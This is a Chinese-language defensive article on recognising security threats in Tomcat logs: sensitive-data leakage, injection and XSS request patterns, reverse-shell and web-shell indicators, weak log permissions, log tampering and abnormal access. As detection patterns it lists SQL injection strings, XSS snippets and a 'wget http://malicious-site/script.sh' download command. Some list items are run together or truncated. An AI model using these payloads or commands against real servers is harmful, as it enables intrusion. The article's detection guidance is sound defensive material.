Tomcat日志中的常见安全威胁及识别方式
Tomcat日志可能记录用户身份信息(如登录用户名、密码)、服务器配置细节(如数据库连接字符串、内部IP地址)、敏感文件路径(如/etc/passwd、.bak备份文件)或应用程序内部数据(如数据库查询结果)。这些信息一旦被攻击者获取,可能导致进一步的渗透或数据篡改。例如,日志中若频繁出现password=xxx的参数记录,或包含WEB-INF/config.properties等敏感路径的访问记录,需立即排查。
攻击者常通过日志中的异常请求模式识别潜在威胁,包括:
and 1=1、union select * from users、from information_schema.tables等语句,试图通过构造恶意SQL语句获取数据库权限;<script>标签、onerror=alert(1)等恶意脚本,试图窃取用户会话信息;java.lang.RuntimeException、java.lang.ProcessBuilder相关调用),指示攻击者尝试上传并执行恶意代码;/bin/bash、certutil(Windows反弹Shell常用工具)、wget http://malicious-site/script.sh等系统命令,试图控制服务器;admin.php、cmd.jsp),参数含eval(、base64_decode(等函数,用于维持非法访问;GET / HTTP/1.1返回404),导致服务器资源耗尽。未对日志文件设置严格访问权限(如tomcat/logs/catalina.out权限为644,允许其他用户读取),可能导致攻击者直接查看日志中的敏感信息。此外,日志中可能记录未授权访问尝试,如频繁访问/manager/html(Tomcat管理界面)、/host-manager/html等敏感路径,或403 Forbidden(禁止访问)状态码激增,表明攻击者在尝试突破权限控制。
攻击者为掩盖入侵痕迹,可能修改Tomcat日志文件(如删除404错误记录、插入虚假200 OK状态码),导致安全团队无法准确追踪攻击路径。例如,日志中原本记录的POST /login.jsp HTTP/1.1 401 Unauthorized(登录失败)被篡改为200 OK,可能意味着攻击者已破解账号密码。
通过分析日志中的访问频率、IP地址、请求方法等特征,可发现异常行为:
GET /api/data请求,可能是爬虫或暴力破解;192.0.2.0/24)的访问,需重点监控;PUT、DELETE、TRACE等不安全HTTP方法(Tomcat默认禁用TRACE),可能用于探测服务器漏洞;Chrome切换到curl),可能表示账号被盗用。